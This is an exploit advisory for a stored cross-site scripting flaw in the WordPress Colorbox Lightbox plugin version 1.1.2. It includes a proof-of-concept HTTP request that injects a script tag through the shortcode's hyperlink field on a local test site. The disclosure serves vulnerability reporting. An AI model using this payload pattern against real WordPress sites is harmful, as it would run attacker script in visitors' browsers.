WordPress Colorbox Lightbox plugin version 1.1.2 suffers from a persistent cross site scripting vulnerability.
251cdb4a3e987dce8905a2073d8c43fe# Exploit Title: WordPress Colorbox Lightbox Plugin v1.1.2 - Persistent Cross-Site Scripting
# Date: 2020-08-14
# Vendor Homepage: https://noorsplugin.com/
# Vendor Changelog:https://wordpress.org/plugins/wp-colorbox/ /#developers
# Exploit Author: Melbin K Mathew (@melbinkm)
# Author Advisory: https://melbin.in/2020/08/14/stored-xss-vulnerability-in-wordpress-colorbox-lightbox-plugin/
# Author Homepage: https://melbin.in
# Version: 1.1.2 and below
1. Description
WordPress Colorbox Lightbox plugin is used to add a lightbox functionality while adding videos to your WordPress site. The 'hyperlink' field in used while embedding a remote video file was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the post. It is triggered when a users loads a page where the plugin shortcode is used. All WordPress websites using WordPress Colorbox Lightbox Plugin version 1.1.2 and below are affected.
2. Proof of Concept
POST /w/wp-json/wp/v2/posts/211?_locale=user HTTP/1.1
Host: 127.0.0.1
Content-Length: 148
Accept: application/json, */*;q=0.1
X-WP-Nonce: 6c6cd8b63e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://127.0.0.1
Referer: http://127.0.0.1/w/wp-admin/post.php?post=211&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close
{"id":211,"content":"[wp_colorbox_media url="http://www.youtube.com/embed/nmp3Ra3Yj24" type="youtube" hyperlink="<script>alert(0)</script>"]"}